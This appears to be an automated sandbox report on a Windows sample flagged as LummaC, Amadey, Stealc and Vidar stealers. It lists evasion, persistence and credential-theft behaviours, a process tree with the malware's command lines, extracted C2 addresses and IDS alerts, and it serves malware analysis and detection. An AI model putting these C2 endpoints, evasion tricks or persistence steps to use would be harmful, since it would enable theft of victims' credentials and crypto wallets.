Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554768
MD5:	7eb28235d4f5c45e8b81d7e275380e94
SHA1:	ccb72493bab5b2c415eb5ff015790f7e2b372c96
SHA256:	9a2dfe9dbf3354fb20245f2ea2b210e1bbda08953243e6fefbf3b08e31fcf20a
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7472 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7EB28235D4F5C45E8B81D7E275380E94)

chrome.exe (PID: 7664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2140,i,7468167225863871419,6688066973538653544,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 6008 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIEBKJECFC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIIEBKJECFC.exe (PID: 7356 cmdline: "C:\Users\user\DocumentsIIEBKJECFC.exe" MD5: 569607D801E71B62F8EEBC6945DCA704)

skotes.exe (PID: 7284 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 569607D801E71B62F8EEBC6945DCA704)

skotes.exe (PID: 8160 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 569607D801E71B62F8EEBC6945DCA704)

skotes.exe (PID: 6792 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 569607D801E71B62F8EEBC6945DCA704)

c3e1e78f6d.exe (PID: 7944 cmdline: "C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe" MD5: A18367BC85080707CBEC02902ECAC8B0)

70XXT0BM2TDFAKTXCB0ILV78JWN4.exe (PID: 3104 cmdline: "C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe" MD5: CBA2CBFEF03546A0BE168D44EC410239)

82b4c5cad2.exe (PID: 6208 cmdline: "C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe" MD5: 7EB28235D4F5C45E8B81D7E275380E94)

skotes.exe (PID: 6612 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 569607D801E71B62F8EEBC6945DCA704)

accd68d705.exe (PID: 3672 cmdline: "C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe" MD5: CBA2CBFEF03546A0BE168D44EC410239)

c3e1e78f6d.exe (PID: 6956 cmdline: "C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe" MD5: A18367BC85080707CBEC02902ECAC8B0)

Q10LTOCEFP0KA6N46594D.exe (PID: 7232 cmdline: "C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe" MD5: CBA2CBFEF03546A0BE168D44EC410239)

82b4c5cad2.exe (PID: 2368 cmdline: "C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe" MD5: 7EB28235D4F5C45E8B81D7E275380E94)

accd68d705.exe (PID: 7668 cmdline: "C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe" MD5: CBA2CBFEF03546A0BE168D44EC410239)

c3e1e78f6d.exe (PID: 7236 cmdline: "C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe" MD5: A18367BC85080707CBEC02902ECAC8B0)

TMZOGPKAQROXKZACD6GWC5N6Z.exe (PID: 6780 cmdline: "C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe" MD5: CBA2CBFEF03546A0BE168D44EC410239)

82b4c5cad2.exe (PID: 5480 cmdline: "C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe" MD5: 7EB28235D4F5C45E8B81D7E275380E94)

accd68d705.exe (PID: 2920 cmdline: "C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe" MD5: CBA2CBFEF03546A0BE168D44EC410239)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["3xc1aimbl0w.sbs", "faintbl0w.sbs", "thicktoys.sbs", "300snails.sbs"], "Build id": "LOGS11--public"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000017.00000003.2807718354.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000003.2857025061.0000000005910000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000003.2609138087.0000000005010000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2845222111.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2160637336.0000000000751000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2897720480.0000000000F71000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.2670475440.0000000000F71000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.2207719562.0000000000E11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.2486797329.00000000017DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2825273881.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2485790355.0000000000F71000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2825364278.0000000000E85000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2844405676.0000000000E7C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.2203663551.0000000000E11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2175361575.0000000000341000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000003.2889037273.0000000000E8E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000003.2807917547.0000000000E85000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2469878623.0000000001552000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2444697974.0000000005190000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000003.2883051277.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1838467283.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.2469725408.000000000154E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.2899998365.0000000001C32000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7472	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 7944	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 7944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 7944	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 82b4c5cad2.exe PID: 6208	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 82b4c5cad2.exe PID: 6208	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 6956	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 6956	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 6956	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 82b4c5cad2.exe PID: 2368	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 82b4c5cad2.exe PID: 2368	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 7236	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 7236	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: c3e1e78f6d.exe PID: 7236	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 38 entries

Unpacked PEs

Source	Rule	Description	Author
9.2.DocumentsIIEBKJECFC.exe.340000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.c3e1e78f6d.exe.6b0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
11.2.skotes.exe.e10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.skotes.exe.e10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.c3e1e78f6d.exe.6b0000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6792, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c3e1e78f6d.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7472, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7664, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6792, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\c3e1e78f6d.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:21:30.989312+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49756	TCP
2024-11-12T21:22:09.495815+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.4	49799	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:11.937376+0100	2028371	3	Unknown Traffic	192.168.2.4	49806	172.67.150.243	443	TCP
2024-11-12T21:22:13.418838+0100	2028371	3	Unknown Traffic	192.168.2.4	49809	172.67.150.243	443	TCP
2024-11-12T21:22:14.861995+0100	2028371	3	Unknown Traffic	192.168.2.4	49810	172.67.150.243	443	TCP
2024-11-12T21:22:16.247869+0100	2028371	3	Unknown Traffic	192.168.2.4	49811	172.67.150.243	443	TCP
2024-11-12T21:22:18.673272+0100	2028371	3	Unknown Traffic	192.168.2.4	49813	172.67.150.243	443	TCP
2024-11-12T21:22:21.121134+0100	2028371	3	Unknown Traffic	192.168.2.4	49816	172.67.150.243	443	TCP
2024-11-12T21:22:22.824665+0100	2028371	3	Unknown Traffic	192.168.2.4	49819	172.67.150.243	443	TCP
2024-11-12T21:22:25.802552+0100	2028371	3	Unknown Traffic	192.168.2.4	49820	172.67.150.243	443	TCP
2024-11-12T21:22:27.003808+0100	2028371	3	Unknown Traffic	192.168.2.4	49822	172.67.150.243	443	TCP
2024-11-12T21:22:28.329757+0100	2028371	3	Unknown Traffic	192.168.2.4	49823	172.67.150.243	443	TCP
2024-11-12T21:22:28.505873+0100	2028371	3	Unknown Traffic	192.168.2.4	49824	172.67.150.243	443	TCP
2024-11-12T21:22:30.383345+0100	2028371	3	Unknown Traffic	192.168.2.4	49827	172.67.150.243	443	TCP
2024-11-12T21:22:32.193386+0100	2028371	3	Unknown Traffic	192.168.2.4	49829	172.67.150.243	443	TCP
2024-11-12T21:22:36.114392+0100	2028371	3	Unknown Traffic	192.168.2.4	49831	172.67.150.243	443	TCP
2024-11-12T21:22:38.776914+0100	2028371	3	Unknown Traffic	192.168.2.4	49834	172.67.150.243	443	TCP
2024-11-12T21:22:41.667885+0100	2028371	3	Unknown Traffic	192.168.2.4	49836	172.67.150.243	443	TCP
2024-11-12T21:22:50.842554+0100	2028371	3	Unknown Traffic	192.168.2.4	49842	172.67.150.243	443	TCP
2024-11-12T21:22:53.146011+0100	2028371	3	Unknown Traffic	192.168.2.4	49844	172.67.150.243	443	TCP
2024-11-12T21:22:55.049130+0100	2028371	3	Unknown Traffic	192.168.2.4	49845	172.67.150.243	443	TCP
2024-11-12T21:22:56.781036+0100	2028371	3	Unknown Traffic	192.168.2.4	49847	172.67.150.243	443	TCP
2024-11-12T21:22:58.777976+0100	2028371	3	Unknown Traffic	192.168.2.4	49849	172.67.150.243	443	TCP
2024-11-12T21:23:03.062575+0100	2028371	3	Unknown Traffic	192.168.2.4	49852	172.67.150.243	443	TCP
2024-11-12T21:23:05.111812+0100	2028371	3	Unknown Traffic	192.168.2.4	49854	172.67.150.243	443	TCP
2024-11-12T21:23:08.419803+0100	2028371	3	Unknown Traffic	192.168.2.4	49856	172.67.150.243	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:12.760086+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49806	172.67.150.243	443	TCP
2024-11-12T21:22:13.912609+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49809	172.67.150.243	443	TCP
2024-11-12T21:22:26.280505+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49820	172.67.150.243	443	TCP
2024-11-12T21:22:27.477727+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49822	172.67.150.243	443	TCP
2024-11-12T21:22:28.653096+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49823	172.67.150.243	443	TCP
2024-11-12T21:22:42.205811+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49836	172.67.150.243	443	TCP
2024-11-12T21:22:52.295654+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49842	172.67.150.243	443	TCP
2024-11-12T21:22:54.082292+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49844	172.67.150.243	443	TCP
2024-11-12T21:23:10.256800+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49856	172.67.150.243	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:12.760086+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49806	172.67.150.243	443	TCP
2024-11-12T21:22:26.280505+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49820	172.67.150.243	443	TCP
2024-11-12T21:22:52.295654+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49842	172.67.150.243	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:13.912609+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49809	172.67.150.243	443	TCP
2024-11-12T21:22:27.477727+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49822	172.67.150.243	443	TCP
2024-11-12T21:22:54.082292+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49844	172.67.150.243	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:29.559714+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49825	185.215.113.16	80	TCP
2024-11-12T21:22:43.126051+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49838	185.215.113.16	80	TCP
2024-11-12T21:23:11.184150+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49858	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:12.704632+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49807	185.215.113.43	80	TCP
2024-11-12T21:22:18.078806+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49812	185.215.113.43	80	TCP
2024-11-12T21:22:21.912830+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49817	185.215.113.43	80	TCP
2024-11-12T21:22:27.154833+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49821	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:21:19.771888+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49735	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:21:19.765296+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49735	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:21:20.049736+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49735	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:21:21.156049+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49735	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:21:20.056843+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49735	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:22:21.637826+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49816	172.67.150.243	443	TCP
2024-11-12T21:22:57.603925+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49847	172.67.150.243	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T21:21:19.480474+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49735	185.215.113.206	80	TCP
2024-11-12T21:22:20.217208+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49815	185.215.113.206	80	TCP
